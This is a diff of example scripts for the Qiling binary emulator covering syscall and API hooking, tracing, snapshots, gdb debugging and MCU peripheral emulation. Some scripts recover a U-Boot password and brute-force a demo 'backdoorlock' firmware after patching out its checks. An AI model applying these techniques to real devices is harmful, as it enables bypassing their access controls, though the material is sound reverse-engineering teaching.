arg1_ptr = ql.arch.regs.arch_sp
|
||||
ql.mem.write(arg1_ptr, b"000000") # arbitrary password
|
||||
|
||||
ql.arch.regs.arch_sp -= 0x20
|
||||
argv_ptr = ql.arch.regs.arch_sp
|
||||
ql.mem.write_ptr(argv_ptr, arg0_ptr)
|
||||
ql.mem.write_ptr(argv_ptr + ql.arch.pointersize, arg1_ptr)
|
||||
|
||||
ql.arch.regs.r2 = 2
|
||||
ql.arch.regs.r3 = argv_ptr
|
||||
|
||||
|
||||
with open("../examples/rootfs/blob/u-boot.bin.img", "rb") as f:
|
||||
uboot_code = f.read()
|
||||
|
||||
ql = Qiling(code=uboot_code[0x40:], archtype="arm", ostype="blob", profile="uboot_bin.ql", verbose=QL_VERBOSE.OFF)
|
||||
|
||||
image_base_addr = ql.loader.load_address
|
||||
ql.hook_address(my_getenv, image_base_addr + 0x13AC0)
|
||||
ql.hook_address(get_password, image_base_addr + 0x48634)
|
||||
|
||||
partial_run_init(ql)
|
||||
|
||||
ql.run(image_base_addr + 0x486B4, image_base_addr + 0x48718)
|
||||
|
||||
if __name__ == "__main__":
|
||||
get_kaimendaji_password()
|
||||
@@ -0,0 +1,30 @@
|
||||
#!/usr/bin/env python3
|
||||
#
|
||||
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
|
||||
#
|
||||
|
||||
import sys
|
||||
sys.path.append("..")
|
||||
|
||||
from qiling import Qiling
|
||||
from qiling.const import QL_INTERCEPT
|
||||
from qiling.os.linux.syscall_nums import SYSCALL_NR
|
||||
|
||||
def write_onenter(ql: Qiling, fd: int, buf: int, count: int):
|
||||
print("enter write syscall!")
|
||||
|
||||
ql.arch.regs.rsi = buf + 1
|
||||
ql.arch.regs.rdx = count - 1
|
||||
|
||||
def write_onexit(ql: Qiling, fd: int, buf: int, count: int, retval: int):
|
||||
print("exit write syscall!")
|
||||
|
||||
ql.arch.regs.rax = count + 1
|
||||
|
||||
if __name__ == "__main__":
|
||||
ql = Qiling(["rootfs/x8664_linux/bin/x8664_hello"], "rootfs/x8664_linux")
|
||||
|
||||
ql.os.set_syscall(SYSCALL_NR.write, write_onenter, QL_INTERCEPT.ENTER)
|
||||
ql.os.set_syscall(SYSCALL_NR.write, write_onexit, QL_INTERCEPT.EXIT)
|
||||
|
||||
ql.run()
|
||||
@@ -0,0 +1,21 @@
|
||||
#!/usr/bin/env python3
|
||||
#
|
||||
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
|
||||
#
|
||||
|
||||
import sys
|
||||
sys.path.append("..")
|
||||
|
||||
from qiling import Qiling
|
||||
from qiling.os.const import STRING
|
||||
from qiling.const import QL_VERBOSE
|
||||
|
||||
def my_puts(ql: Qiling):
|
||||
params = ql.os.resolve_fcall_params({'s': STRING})
|
||||
|
||||
print(f'puts("{params["s"]}")')
|
||||
|
||||
if __name__ == "__main__":
|
||||
ql = Qiling(["rootfs/mips32_linux/bin/mips32_hello"], "rootfs/mips32_linux", verbose=QL_VERBOSE.DEBUG)
|
||||
ql.os.set_api("puts", my_puts)
|
||||
ql.run()
|
||||
@@ -0,0 +1,14 @@
|
||||
#!/usr/bin/env python3
|
||||
#
|
||||
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
|
||||
#
|
||||
|
||||
import sys
|
||||
sys.path.append("..")
|
||||
|
||||
from qiling import Qiling
|
||||
from qiling.const import QL_VERBOSE
|
||||
|
||||
if __name__ == "__main__":
|
||||
ql = Qiling(["rootfs/mips32el_linux/bin/mips32el_hello_static"], "rootfs/mips32el_linux", verbose=QL_VERBOSE.DEBUG)
|
||||
ql.run()
|
||||
@@ -0,0 +1,29 @@
|
||||
#!/usr/bin/env python3
|
||||
#
|
||||
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
|
||||
#
|
||||
|
||||
import sys
|
||||
sys.path.append("..")
|
||||
|
||||
from qiling import Qiling
|
||||
from qiling.const import QL_INTERCEPT, QL_CALL_BLOCK, QL_VERBOSE
|
||||
from qiling.os.const import STRING
|
||||
|
||||
def my_puts_onenter(ql: Qiling):
|
||||
params = ql.os.resolve_fcall_params({'s': STRING})
|
||||
|
||||
print(f'puts("{params["s"]}")')
|
||||
return QL_CALL_BLOCK
|
||||
|
||||
def my_puts_onexit(ql: Qiling):
|
||||
print(f'after puts')
|
||||
return QL_CALL_BLOCK
|
||||
|
||||
if __name__ == "__main__":
|
||||
ql = Qiling(["rootfs/mips32el_linux/bin/mips32el_double_hello"], "rootfs/mips32el_linux", verbose=QL_VERBOSE.DEBUG)
|
||||
|
||||
ql.os.set_api('puts', my_puts_onenter, QL_INTERCEPT.ENTER)
|
||||
ql.os.set_api('puts', my_puts_onexit, QL_INTERCEPT.EXIT)
|
||||
|
||||
ql.run()
|
||||
@@ -0,0 +1,15 @@
|
||||
#!/usr/bin/env python3
|
||||
#
|
||||
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
|
||||
#
|
||||
|
||||
import sys
|
||||
sys.path.append("..")
|
||||
|
||||
from qiling import Qiling
|
||||
from qiling.const import QL_VERBOSE
|
||||
|
||||
if __name__ == "__main__":
|
||||
ql = Qiling(["rootfs/x8664_linux/bin/x8664_hello"], "rootfs/x8664_linux", verbose=QL_VERBOSE.DEBUG)
|
||||
ql.debugger = "gdb:0.0.0.0:9999"
|
||||
ql.run()
|
||||
@@ -0,0 +1,20 @@
|
||||
#!/usr/bin/env python3
|
||||
#
|
||||
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
|
||||
#
|
||||
import sys
|
||||
sys.path.append("..")
|
||||
|
||||
from qiling import Qiling
|
||||
from qiling.os.const import STRING
|
||||
from qiling.const import QL_VERBOSE
|
||||
|
||||
def my_puts(ql: Qiling):
|
||||
params = ql.os.resolve_fcall_params({'s': STRING})
|
||||
|
||||
print(f'puts("{params["s"]}")')
|
||||
|
||||
if __name__ == "__main__":
|
||||
ql = Qiling(["rootfs/x8664_linux/bin/x8664_hello"], "rootfs/x8664_linux", verbose=QL_VERBOSE.DEBUG)
|
||||
ql.os.set_api('puts', my_puts)
|
||||
ql.run()
|
||||
@@ -0,0 +1,74 @@
|
||||
#!/usr/bin/env python3
|
||||
#
|
||||
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
|
||||
#
|
||||
|
||||
import sys
|
||||
sys.path.append("..")
|
||||
|
||||
from typing import Mapping
|
||||
from capstone import Cs
|
||||
|
||||
from qiling import Qiling
|
||||
|
||||
def __map_regs() -> Mapping[int, int]:
|
||||
"""Map Capstone x86 regs definitions to Unicorn's.
|
||||
"""
|
||||
|
||||
from capstone import x86_const as cs_x86_const
|
||||
from unicorn import x86_const as uc_x86_const
|
||||
|
||||
def __canonicalized_mapping(module, prefix: str) -> Mapping[str, int]:
|
||||
return dict((k[len(prefix):], getattr(module, k)) for k in dir(module) if k.startswith(prefix))
|
||||
|
||||
cs_x86_regs = __canonicalized_mapping(cs_x86_const, 'X86_REG')
|
||||
uc_x86_regs = __canonicalized_mapping(uc_x86_const, 'UC_X86_REG')
|
||||
|
||||
return dict((cs_x86_regs[k], uc_x86_regs[k]) for k in cs_x86_regs if k in uc_x86_regs)
|
||||
|
||||
# capstone to unicorn regs mapping
|
||||
CS_UC_REGS = __map_regs()
|
||||
|
||||
def trace(ql: Qiling, address: int, size: int, md: Cs):
|
||||
"""Emit tracing info for each and every instruction that is about to be executed.
|
||||
|
||||
Args:
|
||||
ql: the qiling instance
|
||||
address: the address of the instruction that is about to be executed
|
||||
size: size of the instruction (in bytes)
|
||||
md: initialized disassembler object
|
||||
"""
|
||||
|
||||
# read current instruction bytes and disassemble it
|
||||
buf = ql.mem.read(address, size)
|
||||
insn = next(md.disasm(buf, address))
|
||||
|
||||
nibbles = ql.arch.bits // 4
|
||||
color_faded = '\033[2m'
|
||||
color_reset = '\033[0m'
|
||||
|
||||
# get values of the registers referenced by this instruction.
|
||||
#
|
||||
# note: since this method is called before the instruction has been emulated, the 'rip'
|
||||
# register still points to the current instruction, while the instruction considers it
|
||||
# as if it was pointing to the next one. that will cause 'rip' to show an incorrect value
|
||||
reads = (f'{md.reg_name(reg)} = {ql.arch.regs.read(CS_UC_REGS[reg]):#x}' for reg in insn.regs_access()[0])
|
||||
|
||||
# construct a human-readable trace line
|
||||
trace_line = f'{insn.address:0{nibbles}x} | {insn.bytes.hex():24s} {insn.mnemonic:12} {insn.op_str:35s} | {", ".join(reads)}'
|
||||
|
||||
# emit the trace line in a faded color, so it would be easier to tell trace info from other log entries
|
||||
ql.log.info(f'{color_faded}{trace_line}{color_reset}')
|
||||
|
||||
if __name__ == "__main__":
|
||||
ql = Qiling([r"rootfs/x8664_linux/bin/x8664_hello"], r"rootfs/x8664_linux")
|
||||
|
||||
# acquire a disassembler instance bound to arch
|
||||
md = ql.arch.disassembler
|
||||
md.detail = True
|
||||
|
||||
# register the trace method to be called before each instruction
|
||||
ql.hook_code(trace, user_data=md)
|
||||
|
||||
# go!
|
||||
ql.run()
|
||||
@@ -0,0 +1,67 @@
|
||||
#!/usr/bin/env python3
|
||||
#
|
||||
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
|
||||
#
|
||||
|
||||
import sys
|
||||
sys.path.append("..")
|
||||
|
||||
from qiling import Qiling
|
||||
from qiling.const import QL_VERBOSE
|
||||
|
||||
def dump(ql, *args, **kw):
|
||||
ql.save(reg=False, cpu_context=True, snapshot="/tmp/snapshot.bin")
|
||||
ql.emu_stop()
|
||||
|
||||
if __name__ == "__main__":
|
||||
ql = Qiling(["rootfs/x8664_linux/bin/sleep_hello"], "rootfs/x8664_linux", verbose=QL_VERBOSE.DEFAULT)
|
||||
# load base address from profile file
|
||||
X64BASE = int(ql.profile.get("OS64", "load_address"), 16)
|
||||
# take a snapshot
|
||||
ql.hook_address(dump, X64BASE + 0x1094)
|
||||
ql.run()
|
||||
|
||||
ql = Qiling(["rootfs/x8664_linux/bin/sleep_hello"], "rootfs/x8664_linux", verbose=QL_VERBOSE.DEBUG)
|
||||
X64BASE = int(ql.profile.get("OS64", "load_address"), 16)
|
||||
ql.restore(snapshot="/tmp/snapshot.bin")
|
||||
# enable gdbserver to listen at localhost address, port 9999
|
||||
ql.debugger = "gdb:0.0.0.0:9999"
|
||||
begin_point = X64BASE + 0x109e
|
||||
end_point = X64BASE + 0x10bc
|
||||
ql.run(begin = begin_point, end = end_point)
|
||||
|
||||
'''
|
||||
Partial Execution: https://docs.qiling.io/en/latest/snapshot/
|
||||
|
||||
This example shows how to partially debug an elf file. First let the program run, hook at the main address and take a snapshot. Then resume the snapshot to construct a reasonable call_state (registers, memory mapping, dynamic library loading, etc) for our target piece of code, and directly assign the pc pointer to the beginning of the part you want to simulate.
|
||||
|
||||
Run it with:
|
||||
$ python3 hello_x8664_linux_part_debug.py
|
||||
|
||||
Then in a new terminal start gdb remote debug:
|
||||
$ gdb -q
|
||||
(gdb) target remote localhost:9999
|
||||
Remote debugging using localhost:9999
|
||||
Reading /home/qiling/examples/rootfs/x8664_linux/bin/sleep_hello from remote target...
|
||||
warning: File transfers from remote targets can be slow. Use "set sysroot" to access files locally instead.
|
||||
Reading /home/qiling/examples/rootfs/x8664_linux/bin/sleep_hello from remote target...
|
||||
Reading symbols from target:/home/qiling/examples/rootfs/x8664_linux/bin/sleep_hello...(no debugging symbols found)...done.
|
||||
warning: unable to open /proc file '/proc/42000/task/42000/maps'
|
||||
Reading /lib64/ld-linux-x86-64.so.2 from remote target...
|
||||
Reading /lib64/ld-linux-x86-64.so.2 from remote target...
|
||||
Reading symbols from target:/lib64/ld-linux-x86-64.so.2...Reading /lib64/ld-2.27.so from remote target...
|
||||
Reading /lib64/.debug/ld-2.27.so from remote target...
|
||||
(no debugging symbols found)...done.
|
||||
0x000055555555509e in ?? ()
|
||||
(gdb) x/8i $pc
|
||||
=> 0x55555555509e: lea 0xf83(%rip),%rdi # 0x555555556028
|
||||
0x5555555550a5: callq 0x555555555060
|
||||
0x5555555550aa: lea 0xf53(%rip),%rdi # 0x555555556004
|
||||
0x5555555550b1: callq 0x555555555060
|
||||
0x5555555550b6: xor %eax,%eax
|
||||
0x5555555550b8: add $0x8,%rsp
|
||||
0x5555555550bc: retq
|
||||
0x5555555550bd: nopl (%rax)
|
||||
|
||||
The source code of sleep_hello can be found at qiling/examples/src/linux/sleep_hello.c. As the above gdb output shows, we skipped the sleep function to directly debug the code afterwards.
|
||||
'''
|
||||
@@ -0,0 +1,29 @@
|
||||
#!/usr/bin/env python3
|
||||
#
|
||||
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
|
||||
#
|
||||
|
||||
import sys
|
||||
sys.path.append("..")
|
||||
|
||||
from qiling import Qiling
|
||||
from qiling.const import QL_VERBOSE
|
||||
|
||||
if __name__ == "__main__":
|
||||
def dump(ql, *args, **kw):
|
||||
ql.save(reg=False, cpu_context=True, snapshot="/tmp/snapshot.bin")
|
||||
ql.emu_stop()
|
||||
|
||||
ql = Qiling(["rootfs/x8664_linux/bin/sleep_hello"], "rootfs/x8664_linux", verbose=QL_VERBOSE.DEBUG)
|
||||
X64BASE = int(ql.profile.get("OS64", "load_address"), 16)
|
||||
ql.hook_address(dump, X64BASE + 0x1094)
|
||||
ql.run()
|
||||
|
||||
ql = Qiling(["rootfs/x8664_linux/bin/sleep_hello"], "rootfs/x8664_linux", verbose=QL_VERBOSE.DISASM)
|
||||
# load base address from profile file
|
||||
X64BASE = int(ql.profile.get("OS64", "load_address"), 16)
|
||||
ql.restore(snapshot="/tmp/snapshot.bin")
|
||||
# set execution starting and ending points
|
||||
begin_point = X64BASE + 0x109e
|
||||
end_point = X64BASE + 0x10bc
|
||||
ql.run(begin = begin_point, end = end_point)
|
||||
@@ -0,0 +1,14 @@
|
||||
#!/usr/bin/env python3
|
||||
#
|
||||
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
|
||||
#
|
||||
|
||||
import sys
|
||||
sys.path.append("..")
|
||||
|
||||
from qiling import Qiling
|
||||
from qiling.const import QL_VERBOSE
|
||||
|
||||
if __name__ == "__main__":
|
||||
ql = Qiling(["rootfs/x8664_macos/bin/x8664_hello"], "rootfs/x8664_macos", verbose=QL_VERBOSE.DEBUG)
|
||||
ql.run()
|
||||
@@ -0,0 +1,49 @@
|
||||
#!/usr/bin/env python3
|
||||
#
|
||||
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
|
||||
#
|
||||
|
||||
import sys
|
||||
sys.path.append("..")
|
||||
|
||||
from qiling import Qiling
|
||||
from qiling.const import QL_VERBOSE, QL_INTERCEPT
|
||||
from qiling.os.windows.api import STRING
|
||||
from qiling.os.windows.fncc import *
|
||||
|
||||
@winsdkapi(cc=CDECL, params={
|
||||
"str" : STRING
|
||||
})
|
||||
def my_puts(ql: Qiling, address: int, params):
|
||||
ql.log.info(f'puts was overriden by this hook')
|
||||
|
||||
# puts is expected to return the string length
|
||||
return len(params["str"])
|
||||
|
||||
def my_onenter(ql: Qiling, address: int, params):
|
||||
print(f'[onenter] _cexit : params = {params}')
|
||||
|
||||
# return an alternative set of parameters to be used by the
|
||||
# actual function, that will execute as soon as this one returns
|
||||
params = {
|
||||
'hKey' : 0x80000001,
|
||||
'lpSubKey' : 'Software',
|
||||
'phkResult' : 0xffffcfb4
|
||||
}
|
||||
|
||||
return address, params
|
||||
|
||||
def my_onexit(ql: Qiling, address: int, params, retval: int):
|
||||
print(f'[onexit] atexit : params = {params}')
|
||||
|
||||
def my_sandbox(path, rootfs):
|
||||
ql = Qiling(path, rootfs, verbose=QL_VERBOSE.DEBUG)
|
||||
|
||||
ql.os.set_api("_cexit", my_onenter, QL_INTERCEPT.ENTER)
|
||||
ql.os.set_api("puts", my_puts, QL_INTERCEPT.CALL)
|
||||
ql.os.set_api("atexit", my_onexit, QL_INTERCEPT.EXIT)
|
||||
|
||||
ql.run()
|
||||
|
||||
if __name__ == "__main__":
|
||||
my_sandbox(["rootfs/x8664_windows/bin/x8664_hello.exe"], "rootfs/x8664_windows")
|
||||
@@ -0,0 +1,26 @@
|
||||
#!/usr/bin/env python3
|
||||
#
|
||||
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
|
||||
#
|
||||
|
||||
from sys import path
|
||||
path.append('..')
|
||||
|
||||
from qiling import Qiling
|
||||
from qiling.os.mapper import QlFsMappedObject
|
||||
|
||||
class Fake_urandom(QlFsMappedObject):
|
||||
|
||||
def read(self, size):
|
||||
return b"\x01" # fixed value for reading /dev/urandom
|
||||
|
||||
def fstat(self): # syscall fstat will ignore it if return -1
|
||||
return -1
|
||||
|
||||
def close(self):
|
||||
return 0
|
||||
|
||||
if __name__ == "__main__":
|
||||
ql = Qiling(["rootfs/x86_linux/bin/x86_fetch_urandom"], "rootfs/x86_linux")
|
||||
ql.add_fs_mapper("/dev/urandom", Fake_urandom())
|
||||
ql.run()
|
||||
@@ -0,0 +1,29 @@
|
||||
#!/usr/bin/env python3
|
||||
#
|
||||
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
|
||||
#
|
||||
|
||||
import sys
|
||||
sys.path.append("../..")
|
||||
|
||||
from qiling.core import Qiling
|
||||
from qiling.const import QL_VERBOSE
|
||||
from qiling.extensions.mcu.gd32vf1 import gd32vf103
|
||||
|
||||
ql = Qiling(['../rootfs/mcu/gd32vf103/blink.hex'], archtype="riscv64", ostype="mcu",
|
||||
env=gd32vf103, verbose=QL_VERBOSE.DEBUG)
|
||||
|
||||
ql.hw.create('rcu')
|
||||
ql.hw.create('gpioa').watch()
|
||||
ql.hw.create('gpioc').watch()
|
||||
|
||||
delay_cycles_begin = 0x800015c
|
||||
delay_cycles_end = 0x800018c
|
||||
|
||||
def skip_delay(ql):
|
||||
ql.arch.regs.pc = delay_cycles_end
|
||||
|
||||
ql.hook_address(skip_delay, delay_cycles_begin)
|
||||
ql.hw.gpioc.hook_set(13, lambda : print('Set PC13'))
|
||||
|
||||
ql.run(count=20000)
|
||||
@@ -0,0 +1,37 @@
|
||||
#!/usr/bin/env python3
|
||||
#
|
||||
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
|
||||
#
|
||||
|
||||
import sys
|
||||
sys.path.append("../..")
|
||||
|
||||
from qiling.core import Qiling
|
||||
from qiling.const import QL_VERBOSE
|
||||
from qiling.extensions.mcu.stm32f4 import stm32f407
|
||||
from qiling.hw.external_device.oled.ssd1306 import PyGameSSD1306Spi
|
||||
|
||||
|
||||
ql = Qiling(["../rootfs/mcu/stm32f407/ai-sine-test.elf"],
|
||||
archtype="cortex_m", ostype="mcu", env=stm32f407, verbose=QL_VERBOSE.DEFAULT)
|
||||
|
||||
ql.hw.create('rcc')
|
||||
ql.hw.create('pwr')
|
||||
ql.hw.create('flash interface')
|
||||
ql.hw.create('gpioa')
|
||||
ql.hw.create('gpiob')
|
||||
ql.hw.create('gpiod')
|
||||
ql.hw.create('spi1')
|
||||
ql.hw.create('crc')
|
||||
ql.hw.create('dbgmcu')
|
||||
|
||||
oled = PyGameSSD1306Spi(dc=(ql.hw.gpiod, 5))
|
||||
ql.hw.spi1.connect(oled)
|
||||
|
||||
def indicator(ql):
|
||||
ql.log.info('PA7 set')
|
||||
|
||||
ql.hw.gpioa.hook_set(7, indicator, ql)
|
||||
ql.hw.systick.ratio = 1000
|
||||
|
||||
ql.run(count=800000)
|
||||
@@ -0,0 +1,63 @@
|
||||
#!/usr/bin/env python3
|
||||
#
|
||||
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
|
||||
#
|
||||
|
||||
|
||||
import sys
|
||||
from multiprocessing import Pool
|
||||
from multiprocessing import Process
|
||||
|
||||
sys.path.append("../..")
|
||||
|
||||
from qiling.core import Qiling
|
||||
from qiling.const import QL_VERBOSE
|
||||
from qiling.extensions.mcu.stm32f4 import stm32f407
|
||||
|
||||
|
||||
def dicts():
|
||||
a = 0x79df7
|
||||
b = 0x75ee0
|
||||
c = 0xcc5ee
|
||||
M = 0xf4247
|
||||
|
||||
for x in range(1, 20):
|
||||
yield str((a*x*x + b*x + c) % M)
|
||||
|
||||
# Cracking the passwd of lock
|
||||
def crack(passwd):
|
||||
ql = Qiling(["../../examples/rootfs/mcu/stm32f407/backdoorlock.hex"],
|
||||
archtype="cortex_m", ostype="mcu", env=stm32f407, verbose=QL_VERBOSE.DISABLED)
|
||||
|
||||
ql.hw.create('spi2')
|
||||
ql.hw.create('gpioe')
|
||||
ql.hw.create('gpiof')
|
||||
ql.hw.create('usart1')
|
||||
ql.hw.create('rcc')
|
||||
|
||||
ql.hw.show_info()
|
||||
|
||||
print('Testing passwd', passwd)
|
||||
|
||||
ql.patch(0x8000238, b'\x00\xBF' * 4)
|
||||
ql.patch(0x80031e4, b'\x00\xBF' * 11)
|
||||
ql.patch(0x80032f8, b'\x00\xBF' * 13)
|
||||
ql.patch(0x80013b8, b'\x00\xBF' * 10)
|
||||
|
||||
ql.hw.usart1.send(passwd.encode() + b'\r')
|
||||
|
||||
ql.hw.systick.set_ratio(100)
|
||||
ql.run(count=1000000, end=0x8003225)
|
||||
if ql.arch.effective_pc == 0x8003225:
|
||||
print('Success, the passwd is', passwd)
|
||||
else:
|
||||
print('Fail, the passwd is not', passwd)
|
||||
|
||||
del ql
|
||||
|
||||
pool = Pool()
|
||||
for passwd in dicts():
|
||||
pool.apply_async(crack, args=(passwd,))
|
||||
|
||||
pool.close()
|
||||
pool.join()
|
||||
@@ -0,0 +1,37 @@
|
||||
#!/usr/bin/env python3
|
||||
#
|
||||
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
|
||||
#
|
||||
|
||||
import sys
|
||||
sys.path.append("../..")
|
||||
|
||||
from qiling.core import Qiling
|
||||
from qiling.const import QL_VERBOSE
|
||||
from qiling.extensions.mcu.stm32f4 import stm32f407
|
||||
from qiling.hw.external_device.oled.ssd1306 import PyGameSSD1306Spi
|
||||
|
||||
|
||||
ql = Qiling(["../rootfs/mcu/stm32f407/mnist.bin", 0x8000000],
|
||||
archtype="cortex_m", ostype="mcu", env=stm32f407, verbose=QL_VERBOSE.DEFAULT)
|
||||
|
||||
ql.hw.create('rcc')
|
||||
ql.hw.create('gpiod')
|
||||
ql.hw.create('spi1')
|
||||
ql.hw.create('crc')
|
||||
ql.hw.create('dbgmcu')
|
||||
|
||||
oled = PyGameSSD1306Spi(dc=(ql.hw.gpiod, 5))
|
||||
ql.hw.spi1.connect(oled)
|
||||
|
||||
ql.hw.systick.ratio = 1000
|
||||
|
||||
## a temporary method
|
||||
def hook_smlabb(ql):
|
||||
ql.arch.regs.r3 = ql.arch.regs.r2 + ql.arch.regs.r1 * ql.arch.regs.r3
|
||||
ql.arch.regs.pc = (ql.arch.regs.pc + 4) | 1
|
||||
|
||||
ql.hook_address(hook_smlabb, 0x8007a12)
|
||||
ql.hook_address(hook_smlabb, 0x8007b60)
|
||||
|
||||
ql.run()
|
||||
@@ -0,0 +1,30 @@
|
||||
#!/usr/bin/env python3
|
||||
#
|
||||
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
|
||||
#
|
||||
|
||||
import sys
|
||||
sys.path.append("../..")
|
||||
|
||||
from qiling.core import Qiling
|
||||
from qiling.const import QL_VERBOSE
|
||||
from qiling.extensions.mcu.stm32f4 import stm32f411
|
||||
|
||||
def stm32f411_dma():
|
||||
ql = Qiling(["../rootfs/mcu/stm32f411/dma-clock.hex"],
|
||||
archtype="cortex_m", ostype="mcu", env=stm32f411, verbose=QL_VERBOSE.DEBUG)
|
||||
|
||||
ql.hw.create('usart2').watch()
|
||||
ql.hw.create('dma1').watch()
|
||||
ql.hw.create('rcc')
|
||||
|
||||
ql.run(count=200000)
|
||||
buf = ql.hw.usart2.recv()
|
||||
|
||||
## check timestamp
|
||||
tick = [int(x) for x in buf.split()]
|
||||
for i in range(1, len(tick)):
|
||||
assert(4 <= tick[i] - tick[i - 1] <= 6)
|
||||
|
||||
if __name__ == "__main__":
|
||||
stm32f411_dma()
|
||||
@@ -0,0 +1,26 @@
|
||||
#!/usr/bin/env python3
|
||||
#
|
||||
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
|
||||
#
|
||||
|
||||
import sys
|
||||
sys.path.append("../..")
|
||||
|
||||
from qiling.core import Qiling
|
||||
from qiling.const import QL_VERBOSE
|
||||
from qiling.extensions.mcu.stm32f4 import stm32f411
|
||||
|
||||
|
||||
def stm32f411_freertos():
|
||||
ql = Qiling(["../rootfs/mcu/stm32f411/os-demo.hex"],
|
||||
archtype="cortex_m", ostype="mcu", env=stm32f411, verbose=QL_VERBOSE.DEBUG)
|
||||
|
||||
ql.hw.create('usart2').watch()
|
||||
ql.hw.create('gpioa').watch()
|
||||
ql.hw.create('rcc')
|
||||
|
||||
ql.hw.systick.set_ratio(100)
|
||||
ql.run(count=200000)
|
||||
|
||||
if __name__ == "__main__":
|
||||
stm32f411_freertos()
|
||||
@@ -0,0 +1,28 @@
|
||||
#!/usr/bin/env python3
|
||||
#
|
||||
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
|
||||
#
|
||||
|
||||
import sys
|
||||
sys.path.append("../..")
|
||||
|
||||
from qiling.core import Qiling
|
||||
from qiling.const import QL_VERBOSE
|
||||
from qiling.extensions.mcu.stm32f4 import stm32f411
|
||||
|
||||
def test_mcu_gpio_stm32f411():
|
||||
ql = Qiling(["../../examples/rootfs/mcu/stm32f411/hello_gpioA.hex"],
|
||||
archtype="cortex_m", ostype="mcu", env=stm32f411, verbose=QL_VERBOSE.DEBUG)
|
||||
|
||||
ql.hw.create('usart2').watch()
|
||||
ql.hw.create('rcc').watch()
|
||||
ql.hw.create('gpioa').watch()
|
||||
|
||||
|
||||
ql.hw.gpioa.hook_set(5, lambda: print('LED light up'))
|
||||
ql.hw.gpioa.hook_reset(5, lambda: print('LED light off'))
|
||||
|
||||
ql.run(count=10000)
|
||||
|
||||
if __name__ == "__main__":
|
||||
test_mcu_gpio_stm32f411()
|
||||
@@ -0,0 +1,50 @@
|
||||
#!/usr/bin/env python3
|
||||
#
|
||||
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
|
||||
#
|
||||
|
||||
import sys
|
||||
|
||||
sys.path.append("../..")
|
||||
|
||||
from qiling.core import Qiling
|
||||
from qiling.const import QL_VERBOSE
|
||||
from qiling.hw.external_device.lcd.lcd1602 import PyGameLCD1602
|
||||
from qiling.extensions.mcu.stm32f4 import stm32f411
|
||||
|
||||
def create(path, lcd):
|
||||
ql = Qiling([path], archtype="cortex_m", ostype="mcu", env=stm32f411, verbose=QL_VERBOSE.DEBUG)
|
||||
|
||||
ql.hw.create('i2c1')
|
||||
ql.hw.create('rcc')
|
||||
ql.hw.create('gpioa')
|
||||
ql.hw.create('gpiob')
|
||||
|
||||
ql.hw.i2c1.watch()
|
||||
ql.hw.i2c1.connect(lcd)
|
||||
|
||||
ql.hw.systick.set_ratio(100)
|
||||
|
||||
return ql
|
||||
|
||||
if __name__ == "__main__":
|
||||
lcd = PyGameLCD1602()
|
||||
|
||||
## Example 1
|
||||
create("../rootfs/mcu/stm32f411/i2c-lcd.hex", lcd).run(count=50000)
|
||||
|
||||
## Example 2
|
||||
create("../rootfs/mcu/stm32f411/lcd-plus.hex", lcd).run(count=100000)
|
||||
|
||||
## Example 3
|
||||
ql = create("../rootfs/mcu/stm32f411/i2cit-lcd.hex", lcd)
|
||||
|
||||
delay_start = 0x8002936
|
||||
delay_end = 0x8002955
|
||||
def skip_delay(ql):
|
||||
ql.arch.regs.pc = delay_end
|
||||
|
||||
ql.hook_address(skip_delay, delay_start)
|
||||
ql.run(count=100000)
|
||||
|
||||
lcd.quit()
|
||||
@@ -0,0 +1,32 @@
|
||||
#!/usr/bin/env python3
|
||||
#
|
||||
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
|
||||
#
|
||||
|
||||
|
||||
import sys
|
||||
sys.path.append("../..")
|
||||
|
||||
import time
|
||||
import threading
|
||||
|
||||
from qiling.core import Qiling
|
||||
from qiling.const import QL_VERBOSE
|
||||
from qiling.extensions.mcu.stm32f4 import stm32f411
|
||||
|
||||
|
||||
ql = Qiling(["../../examples/rootfs/mcu/stm32f411/md5_server.hex"],
|
||||
archtype="cortex_m", ostype="mcu", env=stm32f411, verbose=QL_VERBOSE.OFF)
|
||||
|
||||
ql.hw.create('usart2')
|
||||
ql.hw.create('rcc')
|
||||
|
||||
threading.Thread(target=lambda : ql.run(count=-1)).start()
|
||||
|
||||
while True:
|
||||
message = input('>> ').encode()
|
||||
|
||||
ql.hw.usart2.send(message + b'\n')
|
||||
|
||||
time.sleep(0.8)
|
||||
print(ql.hw.usart2.recv())
|
||||
@@ -0,0 +1,28 @@
|
||||
#!/usr/bin/env python3
|
||||
#
|
||||
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
|
||||
#
|
||||
|
||||
import sys
|
||||
sys.path.append("../..")
|
||||
|
||||
from qiling.core import Qiling
|
||||
from qiling.const import QL_VERBOSE
|
||||
from qiling.extensions.mcu.stm32f4 import stm32f411
|
||||
from qiling.hw.external_device.oled.ssd1306 import PyGameSSD1306Spi
|
||||
|
||||
ql = Qiling(['../rootfs/mcu/stm32f411/oled12864.hex'],
|
||||
archtype="cortex_m", ostype="mcu", env=stm32f411, verbose=QL_VERBOSE.DEFAULT)
|
||||
|
||||
ql.hw.create('rcc')
|
||||
ql.hw.create('gpioa')
|
||||
ql.hw.create('gpiob')
|
||||
ql.hw.create('gpioc')
|
||||
ql.hw.create('spi1')
|
||||
|
||||
oled = PyGameSSD1306Spi(dc=(ql.hw.gpioc, 7))
|
||||
|
||||
ql.hw.systick.ratio = 2000
|
||||
|
||||
ql.hw.spi1.connect(oled)
|
||||
ql.run(count=1000000)
|
||||
@@ -0,0 +1,25 @@
|
||||
#!/usr/bin/env python3
|
||||
#
|
||||
